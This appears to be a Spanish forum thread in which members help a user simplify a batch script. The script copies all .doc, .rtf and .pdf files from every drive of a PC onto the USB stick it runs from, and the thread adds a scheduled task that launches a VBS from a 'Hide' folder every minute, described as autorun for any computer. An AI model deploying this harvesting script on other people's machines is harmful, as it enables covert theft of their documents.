Test Foro de elhacker.net SMF 2.1

Programación => Scripting => Mensaje iniciado por: binario010101 en 8 Octubre 2013, 19:31 PM

Título: ayuda a simplificar bat
Publicado por: binario010101 en 8 Octubre 2013, 19:31 PM
hola amigos tengo este bat


(FOR /R "A:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "B:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "C:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "D:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "E:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "F:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "G:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "H:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "I:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "J:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "K:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "L:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "M:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "N:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "O:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "P:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "Q:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "R:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "S:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "T:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "U:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "V:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "W:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "X:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "Y:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))
(FOR /R "Z:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf)  DO  (copy /y "%%a" "%1\trabajos\"))


el cual copia todos los archivos de los discos del pc a la usb donde esta el bat

estoy usando todas las letras del abecedario para buscar todos los discos del pc y uso "%1\trabajos\" para que se copien a la usb donde esta el bat

alguien me puede ayudar a simplificar mi codigo


gracias por sus respuestas
Título: Re: ayuda a simplificar bat
Publicado por: Eleкtro en 9 Octubre 2013, 16:23 PM
Uf, te pasaste un poco con tanta repetición de código :P

porfavor lee mi respuesta aquí: http://foro.elhacker.net/scripting/bat_que_detecte_automaticamente_usb-t400296.0.html;msg1890277#msg1890277

Aquí tienes:
Código (dos) [Seleccionar]
@ECHO OFF & CHCP 1252 1>NUL

:: INFO:
::
:: # WMI Class Win32_LogicalDisk Help
::
:: Drivetype 2: Removable
:: Drivetype 3: Local hard disk

REM Filtro el output del comando WMIC.
For /F %%# in (
'wmic logicaldisk get caption^,drivetype ^| FINDSTR "2 3"'
) Do (
REM Saco las letras de los dispositivos disponibles.
Call Set "DRIVES=%%DRIVES%%%%#"
)

REM Elimino la letra de unidad desde la que se inició este Script Bat.
Call Set "DRIVES=%%DRIVES:%~d0=%%"

REM Reemplazo el caracter ":" del resto de letras por un caracter de "espacio",
REM De esta manera puedo usar el delimitador por defecto ("espacio") en un FOR.
Set "DRIVES=%DRIVES::= %"

REM Por último, proceso cada letra de unidad.
For %%D in (%DRIVES%) Do (

Echo [+] Procesando unidad "%%D:\" | MORE

FOR /R "%%D:\" %%# IN (
"*.doc","*.d0cx","*.rtf","*.pdf"
)  DO  (
Echo "%%~#"
Copy /Y "%%~#" "%~d0\trabajos\" 1>NUL
)

)

Pause&Exit


Saludos
Título: Re: ayuda a simplificar bat
Publicado por: binario010101 en 9 Octubre 2013, 18:17 PM
totalmente agradecido

como quito el mensaje "precione una tecla para continuar..."

y otra pregunta

a este codigo
@echo off
SCHTASKS /create /SC MINUTE /MO 1 /tn copiar /TR F:\Hide\start.vbs


como le creo una variable para la letra de la usb, u otro mecanismo que ejecute el archivo vbs?

Título: Re: ayuda a simplificar bat
Publicado por: Eleкtro en 9 Octubre 2013, 18:34 PM
No entiendo muy bien la pregunta.

¿Quieres que la tarea programada ejecute el VBS, y este VBS se supone que le quieres asignar la letra de unidad desde donde tienes tu script?.

La letra del USB desde donde ejecutas el script la tienes almacenada en esta variable especial:
%~d0

Código (dos) [Seleccionar]
REM Ejemplo:
Set "DriveLetter=%~d0"
Echo %DriveLetter%

SCHTASKS /create /SC "MINUTE" /MO "3" /tn "Copiar %DriveLetter%" /TR "WScript.exe \"%DriveLetter%\Hide\start.vbs\""


Saludos
Título: Re: ayuda a simplificar bat
Publicado por: binario010101 en 9 Octubre 2013, 18:54 PM
el problema es que la ruta del archivo start.vbs es F:\Hide\start.vbs  pero cuando la usb tenga asiganda una letra diferente el run.cmd no lo encontrara

probando tu codigo

gracias
Título: Re: ayuda a simplificar bat
Publicado por: Segadorfelix en 9 Octubre 2013, 21:56 PM
Hola binario010101.
Supongo, que te refieres a esto:


For %%r in (D E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
if exist %%r:\Hide\start.vbs (
SCHTASKS /create /SC "MINUTE" /MO "3" /tn "Copiar %%r" /TR "WScript.exe \" %%r\Hide\start.vbs\""))


SaluDos.
Título: Re: ayuda a simplificar bat
Publicado por: binario010101 en 10 Octubre 2013, 20:03 PM
gracias amigos pero ningun codigo me funciona

tengo este guardado como run.cm en formato ANSI pero no funciona

@echo off
SCHTASKS /create /SC MINUTE /MO 1 /tn copiar /TR E:\start.vbs


intente con este de EleKtro H@cker pero tampoco funciona


REM Ejemplo:
Set "DriveLetter=%~d0"
Echo %DriveLetter%

SCHTASKS /create /SC "MINUTE" /MO "1" /tn "Copiar %DriveLetter%" /TR "WScript.exe \"%DriveLetter%\start.vbs\""


probe con el de Segadorfelix pero tampoco funciona

For %%r in (D E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
if exist %%r:\start.vbs (
SCHTASKS /create /SC "MINUTE" /MO "1" /tn "Copiar %%r" /TR "WScript.exe \" %%r\start.vbs\""))


alguna idea porque ninguno me funciona?
Título: Re: ayuda a simplificar bat
Publicado por: binario010101 en 11 Octubre 2013, 20:35 PM
cuando ejecuto manualmente el archivo run.cmd con este codigo
For %%r in (D E F G H I J K L M N O P Q R S T U V W X Y Z) DO (
if exist %%r:\Hide\start.vbs (
SCHTASKS /create /SC "MINUTE" /MO "3" /tn "Copiar %%r" /TR "WScript.exe \" %%r\Hide\start.vbs\""))

me aparece esto
error al cargar la secuencia de comando "C:\windows\system32\ G:\start.vbs (el nombre del archivo o  el nombre de  directorio o la sintaxis de la etiqueta del volumen no son correctos)
Título: Re: ayuda a simplificar bat
Publicado por: Eleкtro en 11 Octubre 2013, 20:49 PM
En lugar de copiar los ejemplos de los demás sin entender su funcionamiento deberías procurar buscar lo que significa cada cosa y para que sirven.

El ejemplo de @Segadorfelix contiene dos errores de sintaxis, aquí estás dejando un espacio entre la variable del FOR y la comilla doble \" %%r,
pero además de eso, la variable de FOR contiene una letra, un solo caracter, ¿entonces no crees que aquí faltaría algo más?:
\" %%r\Hide\start.vbs\"

Hazle un Echo a la cadena para darte cuenta de lo que falta.

Saludos
Título: Re: ayuda a simplificar bat
Publicado por: binario010101 en 11 Octubre 2013, 21:34 PM
el error del espacio luego del for no lo iba notado el segundo error si.

ese codigo me creo un bucle infinito alguien sabe como borrarlo ya intenete con

@echo off
SCHTASKS /tn copiar /End
pause
SCHTASKS /TR "copiar" /delete


y otras variantes pero no funciona
Título: Re: ayuda a simplificar bat
Publicado por: binario010101 en 11 Octubre 2013, 22:17 PM
use schtasks /query para ver las tareas programadas
tengo dos creadas por mi que quiero eliminar
copiar
Copiar G
la tarea copiar la borre usando SCHTASKS /Delete /TN copiar pero cuando intento con SCHTASKS /Delete /TN Copiar G y SCHTASKS /Delete /TN Copiar_G no me funciono
Título: Re: ayuda a simplificar bat
Publicado por: Eleкtro en 11 Octubre 2013, 22:21 PM
tienes el argumento abierto en Copiar G, encierralo con comillas dobles...

De todas formas puedes eliminar tareas desde el programador de tareas, en el panel de control.

saludos
Título: Re: ayuda a simplificar bat
Publicado por: binario010101 en 11 Octubre 2013, 22:21 PM
bueno la respuesta era usar SCHTASKS /Delete /TN "Copiar G"
Título: Re: ayuda a simplificar bat
Publicado por: binario010101 en 11 Octubre 2013, 23:54 PM
por el  panel de control no la encontré la borre por cmd




[Elektro]:
Si veo otra infracción cerraré el post.

Respeta las normas del foro, deja de hacer tanto doble post,
y porfavor, no envies mensajes privados y duplicados haciendo Spam en el buzón para formular preguntas, utiliza el foro, para eso está,
no es necesario que me envies el mismo privado varias veces, modero esta sección y eso significa que leo todos los posts, los leeré/contestaré cuando pueda hacerlo.

http://foro.elhacker.net/reglas


Un saludo
Título: Re: ayuda a simplificar bat
Publicado por: binario010101 en 12 Octubre 2013, 16:07 PM
no funciona

For %%r in (D E F G H I J K L M N O P Q R S T U V W X Y Z)
DO
(if exist %%r:\Hide\start.vbs )
SCHTASKS /create /SC "MINUTE" /MO "1" /tn "Copiar %%r" /TR "WScript.exe" \ %%r:\Hide\start.vbs\"))


intente asi pero crea la tarea copiar en todos los disco

For %%r in (D E F G H I J K L M N O P Q R S T U V W X Y Z) DO (SCHTASKS /create /SC MINUTE /MO 1 /tn Copiar /TR "if  exist %%r:\1.jpg")
Título: Re: ayuda a simplificar bat
Publicado por: binario010101 en 12 Octubre 2013, 21:44 PM
estoy probando el codigo original

@echo off
SCHTASKS /create /SC MINUTE /MO 1 /tn copiar /TR C:\1.jpg


este codigo es el mas cencillo se debe iniciar la tarea "copiar" la cual se debe ejecutar cada minuto y abrir la imagen 1.jpg

pero no se inicia automaticamente a menos que la ejecute manualmente pero ese no es el objetivo. pues debe iniciarse automaticamente ??????????????????????????????????
Título: Re: ayuda a simplificar bat
Publicado por: Eleкtro en 13 Octubre 2013, 01:08 AM
Hola,
la sintaxis es correcta, los parámettros también,
lo he testeado, la tarea programada se ejecuta cada 1 minuto.

¿Que windows tienes?

Comprueba que tienes el servicio del programador de tareas habilitado y activado, de lo contrario óbviamente no va a servir de nada crear tareas programadas.
Código (dos) [Seleccionar]
sc query schedule
CitarESTADO             : 4  RUNNING

Comprueba también que no tengas un conflicto de tareas duplicadas en el programador de tareas.

un saludo
Título: Re: ayuda a simplificar bat
Publicado por: binario010101 en 13 Octubre 2013, 03:58 AM
tengo win 7

no tengo conflicto de tareas programadas

y mi estado es

sc query schedule RUNNING

NOMBRE_SERVICIO: schedule
        TIPO               : 20  WIN32_SHARE_PROCESS
        ESTADO             : 4  RUNNING
                                (STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        CÓD_SALIDA_WIN32   : 0  (0x0)
        CÓD_SALIDA_SERVICIO: 0  (0x0)
        PUNTO_COMPROB.     : 0x0
        INDICACIÓN_INICIO  : 0x0


acabo de crear varios archivos y ninguno se inicia automaticamente
Título: Re: ayuda a simplificar bat
Publicado por: Eleкtro en 13 Octubre 2013, 04:09 AM
Cita de: binario010101 en 13 Octubre 2013, 03:58 AMacabo de crear varios archivos y ninguno se inicia automaticamente

Pues en ese caso y según lo que comentas, el único posible error es que no estés encerrando el argumento con comillas dobles:

... /tr "C:\ruta con espacios\archivo.bat"

O que no estés usando la ruta absoluta del archivo, recuerda que el directorio actual del entorno de una nueva CMD es en la carpeta del sistema "C:\Windows\system32".

Saludos
Título: Re: ayuda a simplificar bat
Publicado por: binario010101 en 13 Octubre 2013, 16:48 PM
lei en internet que los archvos cmd. programados con el comando SCHTASKS para hacer  tareas programadas se pueden ubicar en cualquier parte del disco y pues hasta el momento no e probado colocando el archivo en "C:\Windows\system32", igual lo que busco es hacer una especia de autorun para mi usb por lo cual el archivo debe estar en la usb para que funcione cada ves que cambio de equipo

gracias